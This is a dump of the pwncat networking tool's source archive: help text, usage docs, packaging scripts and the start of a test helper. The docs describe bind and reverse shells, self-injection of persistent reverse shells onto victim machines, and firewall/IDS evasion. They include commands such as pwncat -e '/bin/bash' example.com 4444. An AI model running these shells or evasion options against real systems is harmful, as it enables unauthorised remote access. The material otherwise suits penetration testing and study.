4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2 mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour. -z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection. -L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address) -R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments. optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode. -C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS). -n, --nodns Do not resolve DNS. --send-on-eof Buffer data received on stdin until EOF and send everything in one chunk. --no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won`t invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior. -v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times. --info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv). -c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto) --safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input. protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack). -6 Only Use IPv6 (default: IPv4 and IPv6 dualstack). -u, --udp Use UDP for the connection instead of TCP. -T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'. --http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS. --https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS. -H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s). command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet. pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). --script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan. listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone) --rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try). --rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1) --rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified. connect mode arguments: --source-addr addr Specify source bind IP address for connect mode. --source-port port Specify source bind port for connect mode. --reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection. --reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1) --reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed. --ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0') --ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0') --ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported. --ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster. --udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word. --udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'. misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit pwncat-0.1.2/share/doc/usage/000077500000000000000000000000001414025024700157605ustar00rootroot00000000000000pwncat-0.1.2/share/doc/usage/bind-shell.rst000066400000000000000000000012431414025024700205330ustar00rootroot00000000000000********** Bind Shell ********** .. note:: :ref:`what_is_a_bind_shell` ``pwncat`` will by default listen on both, IPv4 and IPv6 connections and serve whatever connects first. TCP Bind shell ============== Default TCP bind shell listening on ``:4444`` which behaves exactly as ``nc``. .. code-block:: bash pwncat -l -e '/bin/bash' 4444 The following TCP bind shell will re-accept new clients as soon as a client has diconnected .. code-block:: bash pwncat -l -e '/bin/bash' 4444 -k UDP Bind shell ============== Default UDP bind shell listening on ``:4444`` which behaves exactly as ``nc``. .. code-block:: bash pwncat -l -e '/bin/bash' 4444 -u pwncat-0.1.2/share/doc/usage/local-port-forwarding.rst000066400000000000000000000036001414025024700227250ustar00rootroot00000000000000********************* Local port forwarding ********************* Port forwarding is a pivoting feature of pwncat and works without the need of SSH. How does it work? ================= **Scenario:** 1. Alice can be reached from the Outside (TCP/UDP) 2. Bob can only be reached from Alice's machine 3. pwncat makes Bob's MySQL server available on Alice's machine .. code-block:: bash | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 | Examples ======== TCP remote port forwarding -------------------------- The following examples makes a remote MySQL server (remote port ``3306``) available on current machine on every interface on port ``5000`` .. code-block:: bash pwncat -L 0.0.0.0:5000 everythingcli.org 3306 UDP remote port forwarding -------------------------- The following examples makes a remote MySQL server (remote port ``3306``) available on current machine on every interface on port ``5000`` and converts traffic on the pwncat listening side to UDP. .. code-block:: bash pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u pwncat-0.1.2/share/doc/usage/portscanning.rst000066400000000000000000000100501414025024700212130ustar00rootroot00000000000000************* Port Scanning ************* TCP Port Scan ============= The following examples scan TCP ports for both, IPv4 and IPv6: .. code-block:: bash # scan ports by selection: 80, 443 and 8080 pwncat -z 10.0.0.1 80,443,8080 # scan ports by range: 1-65535 pwncat -z 10.0.0.1 1-65535 # scan ports by increment: 1+1023 (1 and the next 1023 ports) pwncat -z 10.0.0.1 1+1024 UDP Port Scan ============= The following examples scan UDP ports (``-u``) for both, IPv4 and IPv6: .. code-block:: bash # scan ports by selection: 80, 443 and 8080 pwncat -z 10.0.0.1 80,443,8080 -u # scan ports by range: 1-65535 pwncat -z 10.0.0.1 1-65535 -u # scan ports by increment: 1+1023 (1 and the next 1023 ports) pwncat -z 10.0.0.1 1+1024 -u IPv4 or IPv6 Port Scan ====================== By default the port scanning will scan for both, IPv4 and IPv6. If you want to explicitly scan either of them only, you can append either ``-4`` or ``-6``. This works for TCP and UDP. .. code-block:: bash # scan IPv4 ports only pwncat -z 10.0.0.1 80,443,8080 -4 # scan IPv6 ports only pwncat -z 10.0.0.1 80,443,8080 -6 Version detection ================= ``pwncat`` also supports basic version detection by grabbing the and parsing the banner of a listening service (``--banner``). This of course is not as accurate as ``nmap``'s version detection as it does not do any fingerprinting, but for basic detection works moderately well. .. code-block:: bash # Port scan and detect running versions pwncat -z 10.0.0.1 80,443,8080 --banner UDP Scan Performance ==================== In UDP mode ``pwncat`` is insanely fast detecting open ports compared to other scanners. .. note:: Due to its aggressively fast scanning behaviour, pwncat sometimes might give false positive results when detecting open UDP ports. The following ports are exposed ------------------------------- .. code-block:: bash $ sudo netstat -ulpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address udp 0 0 0.0.0.0:631 0.0.0.0:* udp 0 0 0.0.0.0:5353 0.0.0.0:* udp 0 0 0.0.0.0:39856 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp6 0 0 :::1053 :::* udp6 0 0 :::5353 :::* udp6 0 0 :::57728 :::* nmap performance ---------------- .. code-block:: bash $ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds real 2m52.446s user 0m0.844s sys 0m2.571s netcat performance ------------------ .. code-block:: bash $ time nc -z localhost 1-65535 -u -4 -v Connection to localhost 68 port [udp/bootpc] succeeded! Connection to localhost 631 port [udp/ipp] succeeded! Connection to localhost 1053 port [udp/*] succeeded! Connection to localhost 5353 port [udp/mdns] succeeded! Connection to localhost 39856 port [udp/*] succeeded! real 0m18.734s user 0m1.004s sys 0m2.634s pwncat performance ------------------ .. code-block:: bash $ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4) real 0m7.309s user 0m6.465s sys 0m4.794s pwncat-0.1.2/share/doc/usage/remote-port-forwarding.rst000066400000000000000000000040511414025024700231270ustar00rootroot00000000000000********************** Remote port forwarding ********************** Port forwarding is a pivoting feature of pwncat and works without the need of SSH. How does it work? ================= Remote port forwarding is a double client proxie or double reverse connection. It works by connecting to the target machine/port and also connects to your listener and then bridging the connection. **Scenario:** 1. Alice cannot be reached from the Outside 2. Alice is allowed to connect to the Outside (TCP/UDP) 3. Bob can only be reached from Alice's machine 4. pwncat then connects to Bob (on Alice's machine) and also to your listerner .. code-block:: bash | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 | Examples ======== TCP remote port forwarding -------------------------- The following example connects to a remote MySQL server (remote port ``3306``) and then connects to another pwncat/netcat server on 10.0.0.1:4444 and bridges the traffic. .. code-block:: bash pwncat -R 10.0.0.1:4444 everythingcli.org 3306 UDP remote port forwarding -------------------------- Same as the TCP example, but convert traffic on your end to UDP .. code-block:: bash pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u pwncat-0.1.2/share/doc/usage/reverse-shell.rst000066400000000000000000000020571414025024700212760ustar00rootroot00000000000000************* Reverse Shell ************* .. note:: :ref:`what_is_a_reverse_shell` ``pwncat`` will by default connect to both, IPv4 and IPv6 and initiate a successful connection to whatever protocol is available. TCP Reverse shell ================= Default TCP reverse shell connecting to ``example.com:4444`` which behaves exactly as ``nc``. .. code-block:: bash pwncat -e '/bin/bash' example.com 4444 The following is a Ctrl+c proof TCP reverse shell. If you stop your local listener, the reverse shell will automatically connect back to you indefinitely. .. code-block:: bash pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1 UDP Reverse shell ================= Default UDP reverse shell which behaves exactly as ``nc``. .. code-block:: bash pwncat -e '/bin/bash' example.com 4444 -u The following is a Ctrl+c proof UDP reverse shell. If you stop your local listener, the reverse shell will automatically connect back to you indefinitely. .. code-block:: bash pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1 pwncat-0.1.2/share/doc/usage/send-receive-files.rst000066400000000000000000000074661414025024700222000ustar00rootroot00000000000000********************** Send and receive files ********************** Sending and receiving files works in the same way as you would do with netcat. .. contents:: Table of Contents :local: :class: local-toc Send and receive behaviour ========================== Like the original implementation of ``netcat``, when using TCP, ``pwncat`` (in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. In case the remote peer does not terminate the connection, or in UDP mode, ``netcat`` and ``pwncat`` will stay open. The behaviour differs a bit when STDIN is closed. 1. ``netcat``: If STDIN is closed, but connection stays open, netcat will stay open 2. ``pwncat``: If STDIN is closed, but connection stays open, pwncat will close You can emulate the ``netcat`` behaviour with ``--no-shutdown`` command line argument. **TL;DR:** When sending and receiving files with ``pwncat`` in TCP mode, both client and server instances will terminate as soon as the file has been transfered. TCP mode ======== Receiving Listener ------------------ In this example the listening instance of pwncat will receive a file from the connecting instance. .. code-block:: bash # Pipe any data received into a file called output.txt pwncat -l 4444 > output.txt Another pwncat instance will send a local file to the listening instance created above .. code-block:: bash # The file 'some-file.txt' will be send to 10.0.0.1 on port 4444 pwncat -l 4444 10.0.0.1 < some-file.txt Sending Listener ---------------- In this example the listening instance of pwncat will send a file to the connecting instance. .. code-block:: bash # Send file 'some-file.txt' to whoever connects to this instance pwncat -l 4444 < some-file.txt Another pwncat instance will connect to it and receive the data into a file. .. code-block:: bash # Connect to 10.0.0.1:4444 and store output in file 'output.txt' pwncat -l 4444 10.0.0.1 > output.txt UDP mode ======== .. note:: As UDP is a stateless protocol, pwncat is not able to determine when all data has been send or received, thus it will stay open, even if data has been completely send. You will need to terminate both, the sending and receiving instances manually. Also note that UDP is not as reliable as TCP and sending files should rather be done in TCP mode. Receiving Listener ------------------ In this example the listening instance of pwncat will receive a file from the connecting instance. .. code-block:: bash # Pipe any data received into a file called output.txt pwncat -u -l 4444 > output.txt Another pwncat instance will send a local file to the listening instance created above .. code-block:: bash # The file 'some-file.txt' will be send to 10.0.0.1 on port 4444 pwncat -u -l 4444 10.0.0.1 < some-file.txt Sending Listener ---------------- In this example the listening instance of pwncat will send a file to the connecting instance. .. code-block:: bash # Send file 'some-file.txt' to whoever connects to this instance pwncat -u -l 4444 < some-file.txt Another pwncat instance will connect to it and receive the data into a file. .. code-block:: bash # Connect to 10.0.0.1:4444 and store output in file 'output.txt' pwncat -u -l 4444 10.0.0.1 > output.txt FAQ === 1. Can I send binary data? -------------------------- Yes, ``pwncat`` automatically detects if input or output is text-based or binary and sends or receives it accordingly without the need to specify it explicitly. 2. Can I mix ``netcat`` and ``pwncat`` while sending and receiving files? ------------------------------------------------------------------------- Yes, ``pwncat`` is fully compatible with ``netcat`` and you can for instance receive a file with ``pwncat`` which is being send by ``netcat`` or vice versa. pwncat-0.1.2/share/pkg/000077500000000000000000000000001414025024700146705ustar00rootroot00000000000000pwncat-0.1.2/share/pkg/.lib/000077500000000000000000000000001414025024700155145ustar00rootroot00000000000000pwncat-0.1.2/share/pkg/.lib/blackarch.sh000077500000000000000000000024721414025024700177720ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail VERSION="$( curl -sS --fail \ "https://raw.githubusercontent.com/cytopia/pwncat/master/setup.py" \ | grep -E '^\s+version=' \ | awk -F'"' '{print $2}' \ )" SHA512="$( curl -sS --fail -L \ "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ | sha512sum \ | awk '{print $1}' \ )" cat <<- EOF # This file is part of BlackArch Linux ( https://www.blackarch.org/ ). # See COPYING for license details. pkgname=pwncat pkgver=${VERSION} pkgrel=1 groups=('blackarch' 'blackarch-backdoor' 'blackarch-scanner' 'blackarch-proxy' 'blackarch-networking') pkgdesc='Bind and reverse shell handler with FW/IDS/IPS evasion, self-inject and port-scanning.' url='http://pwncat.org/' license=('MIT') arch=('any') depends=('python') source=("\$pkgname-\$pkgver.tar.gz::https://github.com/cytopia/\$pkgname/archive/v\$pkgver.tar.gz") sha512sums=('${SHA512}') package() { cd "\$pkgname-\$pkgver" install -Dm 755 bin/\$pkgname "\$pkgdir/usr/bin/\$pkgname" install -Dm 644 man/\$pkgname.1 -t "\$pkgdir/usr/share/man/man1" install -Dm 644 LICENSE.txt "\$pkgdir/usr/share/licenses/\$pkgname/LICENSE" install -Dm 644 README.md CHANGELOG.md -t "\$pkgdir/usr/share/doc/\$pkgname/" cp --no-preserve=ownership -a pse "\$pkgdir/usr/share/doc/\$pkgname/" } EOF pwncat-0.1.2/share/pkg/.lib/brew.sh000077500000000000000000000037501414025024700170170ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail VERSION="$( curl -sS --fail \ "https://raw.githubusercontent.com/cytopia/pwncat/master/setup.py" \ | grep -E '^\s+version=' \ | awk -F'"' '{print $2}' \ )" UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" URL="$( curl -sS --fail \ -A "${UA}" "https://pypi.org/project/pwncat/${VERSION}/" \ -H "cache-control: no-cache" \ -H "dnt: 1" \ -H "pragma: no-cache" \ -H "accept-language: en-US,en;q=0.9,de;q=0.8" \ -H "accept-encoding: deflate, br" \ -H "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \ | grep -Eo 'https://files\.pythonhosted\..+?tar.gz' \ )" SHA256="$( curl -sS "${URL}" | sha256sum | awk '{print $1}' )" cat <<- EOF class Pwncat < Formula include Language::Python::Virtualenv desc "Netcat with FW/IDS/IPS evasion, self-inject-, bind- and reverse shell" homepage "https://pwncat.org" url "${URL}" sha256 "${SHA256}" license "MIT" head "https://github.com/cytopia/pwncat.git" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "3858b6511e81b5b8cee59724213d438f042f3cc80e3d87fb4eaa7df6771dd326" sha256 cellar: :any_skip_relocation, big_sur: "4c25ffa0c2a969ee67ecbb252c841471c5ea9e2ce87e581c130ec800db482b51" sha256 cellar: :any_skip_relocation, catalina: "192c19f127e900be34ca58bc3b7dec8b2fae412e53d2613396233f9e3fbb6123" sha256 cellar: :any_skip_relocation, mojave: "5eedc0f7cdfa07a82325e09c5a3bc37e7250ad1fc87f48062c99a3a21f5964ac" sha256 cellar: :any_skip_relocation, high_sierra: "9448463d98056aa3b6049f00261fea896e2a16712407f8c10fdf61d9d82dd61b" end depends_on "python@3.9" def install ENV.prepend_path "PATH", Formula["python@3.9"].opt_libexec/"bin" virtualenv_install_with_resources end test do system "echo HEAD | #{bin}/pwncat www.google.com 80 | grep ^HTTP" end end EOF pwncat-0.1.2/share/pkg/.lib/pentoo.sh000077500000000000000000000014311414025024700173560ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail VERSION="$( curl -sS --fail \ "https://raw.githubusercontent.com/cytopia/pwncat/master/setup.py" \ | grep -E '^\s+version=' \ | awk -F'"' '{print $2}' \ )" BYTES="$( curl -sS --fail -L \ "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ | wc -c \ )" BLAKE2B="$( curl -sS --fail -L \ "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ | python2 -c 'from pyblake2 import blake2b;import sys; print blake2b(sys.stdin.read()).hexdigest()' \ )" SHA512="$( curl -sS --fail -L \ "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ | sha512sum \ | awk '{print $1}' \ )" cat <<- EOF DIST pwncat-${VERSION}.tar.gz ${BYTES} BLAKE2B ${BLAKE2B} SHA512 ${SHA512} EOF pwncat-0.1.2/share/pkg/Makefile000066400000000000000000000026641414025024700163400ustar00rootroot00000000000000SHELL = bash # View versions here: https://repology.org/project/pwncat/versions .PHONY: brew brew: @mkdir -p $@ .lib/brew.sh > $@/pwncat.rb @echo @echo "Update here" @echo "https://github.com/Homebrew/homebrew-core/blob/master/Formula/pwncat.rb" @echo .PHONY: blackarch blackarch: @mkdir -p $@ .lib/blackarch.sh > $@/PKGBUILD @echo "pwncat" > $@/to-release @echo @echo "Update here" @echo "https://github.com/BlackArch/blackarch/blob/master/packages/pwncat/PKGBUILD" @echo "https://github.com/BlackArch/blackarch/blob/master/lists/to-release" @echo .PHONY: nixos nixos: @mkdir -p $@ docker run -it --rm \ -v $(PWD)/$@:/data \ --entrypoint=sh \ python:3-alpine -c " \ pip install nixpkgs-pytools \ && python-package-init pwncat \ && cp default.nix /data/default.nix \ && chown $$(id -u):$$(id -g) /data/default.nix \ " @echo @echo "Update here" @echo "https://github.com/NixOS/nixpkgs/blob/master/pkgs/tools/security/pwncat/default.nix" @echo .PHONY: pentoo pentoo: @mkdir -p $@ docker run -it --rm \ -v $(PWD)/.lib:/tmp \ -v $(PWD)/pentoo:/data \ --entrypoint=sh \ python:2-alpine -c " \ apk add \ bash \ curl \ gcc \ python2-dev \ musl-dev \ && pip install pyblake2 \ && /tmp/pentoo.sh > /data/Manifest \ && chown $$(id -u):$$(id -g) /data/Manifest \ " @echo @echo "Update here" @echo "https://github.com/pentoo/pentoo-overlay/blob/master/net-analyzer/pwncat/Manifest" @echo pwncat-0.1.2/share/pkg/README.md000066400000000000000000000001331414025024700161440ustar00rootroot00000000000000# Package builder Use [Makefile](Makefile) to build packages for various package manager. pwncat-0.1.2/tests/000077500000000000000000000000001414025024700141475ustar00rootroot00000000000000pwncat-0.1.2/tests/.lib/000077500000000000000000000000001414025024700147735ustar00rootroot00000000000000pwncat-0.1.2/tests/.lib/conf.sh000066400000000000000000000747421414025024700162720ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail # SOURCEPATH must be set by script sourcing me # shellcheck disable=SC2034 SOURCEDIR="$( dirname "${SOURCEPATH}" )" # TODO: output everything to stderr # TODO: put 'kill' commands into background to unblock, blocking windows runs # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- # Show newline characters as they are cat_raw() { local file="${1}" # shellcheck disable=SC2020 cat -ev "${1}" \ | sed 's/\^M^M\$$/\\r\\r\\n/g' \ | sed 's/\^M\$$/\\r\\n/g' \ | sed 's/\$$/\\n/g' \ | sed 's/\^M$/\\r/g' \ | tr -d '\r\r\n' \ | tr -d '\r\n' \ | tr -d '\n' \ | tr -d '\r' } # ------------------------------------------------------------------------------------------------- # PRINT HEADLINES # ------------------------------------------------------------------------------------------------- print_test_case() { local clr_clr="\\033[0;32m" # Green local clr_rst="\\033[m" # Reset to normal local python="${1:-}" local filename= local filenum= local filedesc= local dirname= local dirnum= local dirmode= local dirtype= dirname="$( cd "$(dirname "${0}")" >/dev/null || true; basename "$(pwd -P)" || true )" dirnum="$( echo "${dirname}" | grep -Eo '^[0-9]+' || true )" dirmode="$( echo "${dirname}" | sed 's/--.*//g' | sed 's/[0-9]*-//g' || true )" dirtype="${dirname//*--/}" filename="$( basename "${0}" || true )" filenum="$( echo "${filename}" | grep -Eo '^[0-9]+' || true )" fileproto="$( echo "${filename}" | grep -Eo '\-(tcp|udp)\-' | grep -Eo 'tcp|udp' || true )" filedesc="$( echo "${filename}" | sed 's/.*[0-9]*-\(tcp\|udp\)---//g' | sed 's/\.sh$//g' | sed 's/---/ /g' | sed 's/_/ /g' || true )" # shellcheck disable=SC2059 printf "${clr_clr}" printf '#%.0s' {1..120}; echo printf '#%.0s' {1..120}; echo printf '#%.0s' {1..120}; echo printf '######\n' printf '######\n' printf '###### [%s] [%s]: %s - (%s)\n' "${dirnum}" "${dirmode}" "${dirtype}" "${python}" printf '######\n' printf '######\n' printf '###### [%s] (%s): %s\n' "${filenum}" "${fileproto}" "${filedesc}" printf '######\n' printf '######\n' printf '#%.0s' {1..120}; echo printf '#%.0s' {1..120}; echo printf '#%.0s' {1..120}; echo # shellcheck disable=SC2059 printf "${clr_rst}" } print_h1() { echo;echo; printf '#%.0s' {1..100}; echo printf '#%.0s' {1..100}; echo printf '###\n' printf '### %s\n' "${1}" printf '###\n' printf '#%.0s' {1..100}; echo printf '#%.0s' {1..100}; echo } print_h2() { echo local clr_clr="\\033[0;34m" # Blue local clr_rst="\\033[m" # Reset to normal # shellcheck disable=SC2059 printf "${clr_clr}" printf -- '*%.0s' {1..80}; echo printf -- '* %s\n' "${1}" printf -- '*%.0s' {1..80}; echo # shellcheck disable=SC2059 printf "${clr_rst}" } print_h3() { local clr_clr="\\033[0;34m" # Blue local clr_rst="\\033[m" # Reset to normal # shellcheck disable=SC2059 printf "${clr_clr}" printf -- '-%.0s' {1..60}; echo printf -- '%s\n' "${1}" printf -- '-%.0s' {1..60}; echo # shellcheck disable=SC2059 printf "${clr_rst}" } # ------------------------------------------------------------------------------------------------- # PRINT INFO # ------------------------------------------------------------------------------------------------- print_info() { local message="${1}" #local clr_info="\\033[0;34m" # Blue #local clr_rst="\\033[m" # Reset to normal printf "[INFO] %s\\n" "${message}" } print_ok() { local message="${1}" local clr_ok="\\033[0;32m" # Green local clr_rst="\\033[m" # Reset to normal printf "${clr_ok}[SUCC] %s${clr_rst}\\n" "${message}" } print_warn() { local message="${1}" local clr_warn="\\033[0;33m" # Yello local clr_rst="\\033[m" # Reset to normal printf "[WARN] %s\\n" "${message}" printf "${clr_warn}[WARN] %s${clr_rst}\\n" "${message}" } print_error() { local message="${1}" local clr_err="\\033[0;31m" # Red local clr_rst="\\033[m" # Reset to normal printf "${clr_err}[ERR] %s${clr_rst}\\n" "${message}" } print_file() { local name="${1}" local file="${2}" local add_str="${3:-}" # Append some string (to compensate for missing newline) local clr_div="\\033[0;33m" # Yellow local clr_rst="\\033[m" # Reset to normal print_h3 "[${name}] Filename: ${file}" printf "${clr_div}############################## %s ##############################${clr_rst}\\n" "START OF FILE" cat "${file}" # shellcheck disable=SC2059 printf "${add_str}" printf "${clr_div}############################### %s ###############################${clr_rst}\\n" "END OF FILE" printf "\\n" } print_data() { local name="${1}" local data="${2}" local add_str="${3:-}" # Append some string (to compensate for missing newline) local clr_div="\\033[0;33m" # Yellow local clr_rst="\\033[m" # Reset to normal print_h3 "[${name}]" printf "${clr_div}############################## %s ##############################${clr_rst}\\n" "START OF DATA" # shellcheck disable=SC2059 printf "${data}" # shellcheck disable=SC2059 printf "${add_str}" printf "${clr_div}############################### %s ###############################${clr_rst}\\n" "END OF DATA" printf "\\n" } print_file_raw() { local name="${1}" local file="${2}" local quote="${3:-0}" local clr_div="\\033[0;33m" # Yellow local 